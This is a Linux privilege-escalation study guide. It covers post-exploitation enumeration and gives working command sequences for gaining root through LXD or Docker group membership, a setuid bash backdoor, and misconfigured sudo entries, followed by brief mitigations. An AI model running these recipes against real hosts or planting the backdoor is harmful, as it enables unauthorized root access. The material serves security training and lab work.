1.1 - Linux Post-Exploit Enum
Gather information necessary for privilege escalation on Linux
Enumeration is key to privilege escalation. After gaining initial shell access, it’s important to check for the following details:
- OS Version
- Kernel Version
- Running Services
Situational Awareness
After getting a shell onto a Linux target, we should try to run a few commands to orient ourselves:
whoami: usernameid: group membershiphostname: server hostname (naming convention?)ifconfig / ip a: Network address(es)?sudo -l: Sudo permissions? With or without password?
Linux Distribution
We also want to know what Linux Distribution is running on the target. Different distros have different tools and utilities available on the system that may aid our privilege escalation.
ubuntu@ubuntu:~$ cat /etc/*release*
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=25.04
DISTRIB_CODENAME=plucky
DISTRIB_DESCRIPTION="Ubuntu 25.04"
PRETTY_NAME="Ubuntu 25.04"
NAME="Ubuntu"
VERSION_ID="25.04"
VERSION="25.04 (Plucky Puffin)"
VERSION_CODENAME=plucky
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=plucky
LOGO=ubuntu-logo
Alternatively, we can also check /etc/*issue
ubuntu@ubuntu:~$ cat /etc/issue
Ubuntu 25.04 \n \l
Kernel Version
Kernel version can help us look up known vulnerabilities (DirtyPipe, CopyFail, etc.)
ubuntu@ubuntu:~$ uname -a
Linux ubuntu 6.14.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Sun Apr 6 15:05:05 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
Environment Variables
Check the current environment variables:
ubuntu@ubuntu:~$ env
SHELL=/bin/bash
PWD=/home/ubuntu
LOGNAME=ubuntu
HOME=/home/ubuntu
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=00:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.7z=01;31:*.ace=01;31:*.alz=01;31:*.apk=01;31:*.arc=01;31:*.arj=01;31:*.bz=01;31:*.bz2=01;31:*.cab=01;31:*.cpio=01;31:*.crate=01;31:*.deb=01;31:*.drpm=01;31:*.dwm=01;31:*.dz=01;31:*.ear=01;31:*.egg=01;31:*.esd=01;31:*.gz=01;31:*.jar=01;31:*.lha=01;31:*.lrz=01;31:*.lz=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.lzo=01;31:*.pyz=01;31:*.rar=01;31:*.rpm=01;31:*.rz=01;31:*.sar=01;31:*.swm=01;31:*.t7z=01;31:*.tar=01;31:*.taz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tgz=01;31:*.tlz=01;31:*.txz=01;31:*.tz=01;31:*.tzo=01;31:*.tzst=01;31:*.udeb=01;31:*.war=01;31:*.whl=01;31:*.wim=01;31:*.xz=01;31:*.z=01;31:*.zip=01;31:*.zoo=01;31:*.zst=01;31:*.avif=01;35:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.webp=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:*~=00;90:*#=00;90:*.bak=00;90:*.crdownload=00;90:*.dpkg-dist=00;90:*.dpkg-new=00;90:*.dpkg-old=00;90:*.dpkg-tmp=00;90:*.old=00;90:*.orig=00;90:*.part=00;90:*.rej=00;90:*.rpmnew=00;90:*.rpmorig=00;90:*.rpmsave=00;90:*.swp=00;90:*.tmp=00;90:*.ucf-dist=00;90:*.ucf-new=00;90:*.ucf-old=00;90:
SSH_CONNECTION=192.168.122.1 57306 192.168.122.240 22
LESSCLOSE=/usr/bin/lesspipe %s %s
TERM=st-256color
LESSOPEN=| /usr/bin/lesspipe %s
USER=ubuntu
SHLVL=1
SSH_CLIENT=192.168.122.1 57306 22
DEBUGINFOD_URLS=https://debuginfod.ubuntu.com
XDG_DATA_DIRS=/usr/share/gnome:/usr/local/share:/usr/share:/var/lib/snapd/desktop
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/snap/bin
MAIL=/var/mail/ubuntu
SSH_TTY=/dev/pts/1
_=/usr/bin/env
Specifically, it may be beneficial to note the PATH environment variable. If any of the paths are writable by our user, we may be able to use PATH hijacking to achieve privilege escalation.
ubuntu@ubuntu:~$ env | grep PATH
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/snap/bin
Login Shells
/etc/shells stores a list of valid login shells.
ubuntu@ubuntu:~$ cat /etc/shells
# /etc/shells: valid login shells
/bin/sh
/usr/bin/sh
/bin/bash
/usr/bin/bash
/bin/rbash
/usr/bin/rbash
/usr/bin/dash
Users and Groups
/etc/passwd
All users on the system are stored in /etc/passwd. Despite its name, the file no longer store password information on all modern Linux systems.
Structure of /etc/passwd entry:
| 1 | 2 | 3 | 4 | 5 | 6 | 7 |
|---|
| root: | x: | 0: | 0: | root: | /root: | /bin/bash |
- Login name
- Passwword (x: password in shadow file, *:user cannot login)
- User ID (UID)
- Primary Group ID (GID)
- Comment Field/User full name
- User home directory path
- User default login shell
Interactive users can be found from /etc/passwd by grepping sh$ for valid login shells.
ubuntu@ubuntu:~$ grep "sh$" /etc/passwd
root:x:0:0:root:/root:/bin/bash
jsmith:x:1000:1000:mrb3n:/home/jsmith:/bin/bash
bjones:x:1001:1001::/home/bjones:/bin/zsh
ubuntu:x:1002:1002::/home/ubuntu:/bin/bash
Logged-on Users
Check currently on the system with commands such as w, who or finger.
ubuntu@ubuntu:~$ w
12:27:21 up 1 day, 16:55, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
jsmith pts/0 10.10.14.16 Tue19 40:54m 0.02s 0.02s -bash
The /etc/groups file shows a list of groups on the system as well as their members:
ubuntu@ubuntu:~$ cat /etc/groups
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:syslog,htb-student
tty:x:5:syslog
disk:x:6:
[...]
Individual group membership can also be queried using getent:
ubuntu@ubuntu:~$ getent group sudo
sudo:x:27:bjones
We should also check for users with a home directory under /home. This can help us find SSH keys, interesting information in shell history, and much more.
ubuntu@ubuntu:~$ ls /home
bjones jsmith ubuntu
Network Interfaces
Start by checking available interfaces using ip a:
ubuntu@ubuntu:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host noprefixroute
valid_lft forever preferred_lft forever
2: enp1s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 52:54:00:a8:01:02 brd ff:ff:ff:ff:ff:ff
altname enx525400a80102
inet 192.168.122.240/24 brd 192.168.122.255 scope global dynamic noprefixroute enp1s0
valid_lft 3219sec preferred_lft 3219sec
inet6 fe80::5054:ff:fea8:102/64 scope link proto kernel_ll
valid_lft forever preferred_lft forever
Or ifconfig
ubuntu@ubuntu:~$ ifconfig
enp1s0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.122.240 netmask 255.255.255.0 broadcast 192.168.122.255
inet6 fe80::5054:ff:fea8:102 prefixlen 64 scopeid 0x20<link>
ether 52:54:00:a8:01:02 txqueuelen 1000 (Ethernet)
RX packets 9861 bytes 39958679 (39.9 MB)
RX errors 0 dropped 1111 overruns 0 frame 0
TX packets 7670 bytes 820143 (820.1 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 183 bytes 17353 (17.3 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 183 bytes 17353 (17.3 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Note IP addresses in on different interfaces, as well as subnet mask.
Network Routes
ubuntu@ubuntu:~$ route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default _gateway 0.0.0.0 UG 100 0 0 enp1s0
192.168.122.0 0.0.0.0 255.255.255.0 U 100 0 0 enp1s0
Are there any other hosts the target has been connecting to?
ubuntu@ubuntu:~$ arp -a
_gateway (192.168.122.1) at 52:54:00:03:21:e5 [ether] on enp1s0
Name Resolution
Check /etc/hosts, are there interesting hosts specified?
ubuntu@ubuntu:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 ubuntu
10.10.0.3 ra-cailumn.gundam.local gundam.local
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
ff02::3 ip6-allhosts
Interesting nameservers under /etc/resolv.conf?
ubuntu@ubuntu:~$ cat /etc/resolv.conf
# This is /run/systemd/resolve/stub-resolv.conf managed by man:systemd-resolved(8).
# Do not edit.
#
# This file might be symlinked as /etc/resolv.conf. If you're looking at
# /etc/resolv.conf and seeing this text, you have followed the symlink.
#
# This is a dynamic resolv.conf file for connecting local clients to the
# internal DNS stub resolver of systemd-resolved. This file lists all
# configured search domains.
#
# Run "resolvectl status" to see details about the uplink DNS servers
# currently in use.
#
# Third party programs should typically not access this file directly, but only
# through the symlink at /etc/resolv.conf. To manage man:resolv.conf(5) in a
# different way, replace this symlink by a static file or a different symlink.
#
# See man:systemd-resolved.service(8) for details about the supported modes of
# operation for /etc/resolv.conf.
nameserver 127.0.0.53
options edns0 trust-ad
search .
Ubuntu, Fedora, and other popular Linux distros may use Systemd-Resolved to manage name resolution. If you see the contents like show above inside /etc/resolv.conf, we can further enumerate name resolution configuration:
ubuntu@ubuntu:~$ resolvectl status
Global
Protocols: -LLMNR -mDNS -DNSOverTLS DNSSEC=no/unsupported
resolv.conf mode: stub
Link 2 (enp1s0)
Current Scopes: DNS
Protocols: +DefaultRoute -LLMNR -mDNS -DNSOverTLS DNSSEC=no/unsupported
Current DNS Server: 192.168.122.1
DNS Servers: 192.168.122.1
Default Route: yes
Packages and Utilities
List installed packages and note outdated packages.
apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list
Check for executables installed against GTFObins
for i in $(curl -s https://gtfobins.org/api.json | jq -r '.executables | keys[]'); do if grep -q "$i" installed_pkgs.list; then echo "Check for GTFO: $i";fi; done
Sudo version information, useful for looking up known privilege escalation vulnerabilities.
ubuntu@ubuntu:~$ sudo -V
Sudo version 1.8.31
Sudoers policy plugin version 1.8.31
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.31
Service Configuration
SSHD
Check /etc/ssh/sshd_config for the SSH daemon configuration:
- Is root allowed to login?
- Cleartext passwords allowed?
- Any users disallowed from login via SSH?
Web Servers
Check for virtual hosts that weren’t discovered before.
Apache2 configs live under /etc/apache2:
/etc/apache2/
├── apache2.conf
├── ports.conf
├── sites-available/
├── sites-enabled/
├── conf-available/
├── conf-enabled/
├── mods-available/
└── mods-enabled/
Nginx configs live under /etc/nginx:
/etc/nginx/
├── nginx.conf
├── conf.d/
├── sites-available/
└── sites-enabled/
Running lscpu can help us identify the CPU architecture. This can become more important as ARM-based CPUs become more prevalent.
ubuntu@ubuntu:~$ lscpu
Architecture: x86_64
CPU op-mode(s): 32-bit, 64-bit
Address sizes: 48 bits physical, 48 bits virtual
Byte Order: Little Endian
CPU(s): 2
On-line CPU(s) list: 0,1
Vendor ID: AuthenticAMD
Model name: AMD Ryzen 7 5800X3D 8-Core Processor
CPU family: 25
Model: 33
Thread(s) per core: 1
Core(s) per socket: 1
Socket(s): 2
[...]
Run lsblk to see block devices available on the system and their mount points if they are mounted.
- In Ubuntu systems,
lsblk also shows the Snap packages installed as loop devices
ubuntu@ubuntu:~$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
loop0 7:0 0 55M 1 loop /snap/core18/1705
loop1 7:1 0 69M 1 loop /snap/lxd/14804
loop2 7:2 0 47M 1 loop /snap/snapd/16292
loop3 7:3 0 103M 1 loop /snap/lxd/23339
loop4 7:4 0 62M 1 loop /snap/core20/1587
loop5 7:5 0 55.6M 1 loop /snap/core18/2538
sda 8:0 0 20G 0 disk
├─sda1 8:1 0 1M 0 part
├─sda2 8:2 0 1G 0 part /boot
└─sda3 8:3 0 19G 0 part
└─ubuntu--vg-ubuntu--lv 253:0 0 18G 0 lvm /
sr0 11:0 1 908M 0 rom
If there are any network drives mounted at boot, we can check /etc/fstab to see if there are credentials listed.
ubuntu@ubuntu:~$ cat /etc/fstab
# /etc/fstab: static file system information.
#
# Use 'blkid' to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
# <file system> <mount point> <type> <options> <dump> <pass>
# / was on /dev/ubuntu-vg/ubuntu-lv during curtin installation
/dev/disk/by-id/dm-uuid-LVM-BdLsBLE4CvzJUgtkugkof4S0dZG7gWR8HCNOlRdLWoXVOba2tYUMzHfFQAP9ajul / ext4 defaults 0 0
# /boot was on /dev/sda2 during curtin installation
/dev/disk/by-uuid/20b1770d-a233-4780-900e-7c99bc974346 /boot ext4 defaults 0 0
1.2.1 - Privileged Groups
Exploit highly-privileged group membership to obtain root access.
Certain groups give their members high privileges that can be abused to obtain root access on the host. Below are some examples:
LXC/LXD
LXD is similar to Docker and is Ubuntu’s container manager. Upon installation, all users are added to the LXD group.
devops@NIX02:~$ id
uid=1009(devops) gid=1009(devops) groups=1009(devops),110(lxd)
Membership in the LXD group can be used to escalate privileges by creating an LXD container, making it privileged, and then accessing the host file system at /mnt/root.
# Import local container image
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
# Start a privileged container
lxc init alpine r00t -c security.privileged=true
# Mount host filesystem
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
# Start the container
lxc start r00t
# Spawn an interactive shell inside the container
lxc exec r00t /bin/sh
This allows us to read all files inside the host file system as root. We may also leverage the setuid bash technique to gain root interactive shell on the host system.
Docker
Placing a user in the docker group is essentially equivalent to root level access to the file system without a password. Members of the docker group can spawn new docker containers, and mount local file systems.
docker run -v /root:/mnt -it ubuntu
This allows us to read all files inside the host file system as root. We may also leverage the setuid bash technique to gain root interactive shell on the host system.
Disk
Users within the disk group have full access to any devices contained within /dev, such as /dev/sda1.
- Attackers can use
debugfs to access the entire file system with root-level privs.
ADM
Members of the adm group can read all logs under /var/log. This does not automatically grant root acccess, but can be leveraged to gather sensitive information.
1.2.2 - setuid
Leverage executables with setuid permissions to escalate privileges
The Set User IP upon Execution (setuid) permission can allow a user to execute a program or script with the permission of another user, typically with elevated privileges.
We may use the following command to find setuid files owned by root. Note that setuid executables will be marked with s.
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
If one of the executables listed above allows command to be executed, it can be leveraged for privilege escalation and execute commands as root.
- We may use a resource like GTFOBins, or research vulnerabilities associated with the executable.
Bash with Setuid
When ran with -p, Bash retains the effective user ID of the owner of the binary. Creating a copy of Bash owned by root with setuid bit set can have two applications:
- For creating a backdoor that allows any user on the system to run commands as root.
- Escalating the ability to read/write file as root on the host system to the ability to execute commands as root.
Use the following commands to create a copy of Bash in the current directory with setuid owned by root, executable by everyone, and with setuid bit set.
cp $(which bash) .
chown root:root ./bash
chmod 4755 ./bash
Then, simply run ./bash -p:
$ ./bash -p
# whoami
root
1.2.3 - Sudo
Exploit misconfigured sudo privileges to escalation privileges
Sudo privileges can be granted to an account, permitting the account to run certain commands in the context of root or another account. When sudo is prepended to a command, the system will check if the user issuing the command has the appropriate rights as configured in /etc/sudoers file.
Sudo privileges can be enumerated using sudo -l:
- Sometimes running this command requires us to provide the user’s password.
- If an entry is marked with
NOPASSWD, we can run the command without providing the user’s password.
john@NIX02:~$ sudo -l
Matching Defaults entries for john on NIX02:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on NIX02:
(root) NOPASSWD: /usr/sbin/tcpdump
From here, the goal is to execute command from the program we are allowed to run. We can make use of resources such as GTFOBins to find options and other ways to execute command as root, or research vulnerabilities the specific version of the installed executable listed above.
Sudo Group
Similarly, if a user belongs in sudo or wheel group, we may be allowed to run any command as any user.
johnadm@NIX02:~$ sudo -l
User johnadm may run the following commands on NIX02:
(ALL : ALL) ALL
In that cause, simply run sudo su to become root.
Mitigation
- Always specify the absolute path to any binaries listed in the sudoers file entry. Otherwise, an attacker may be able to leverage PATH abuse.
- Grant sudo rights sparingly and based on the principle of least privilege.
- Use solutions such as AppArmor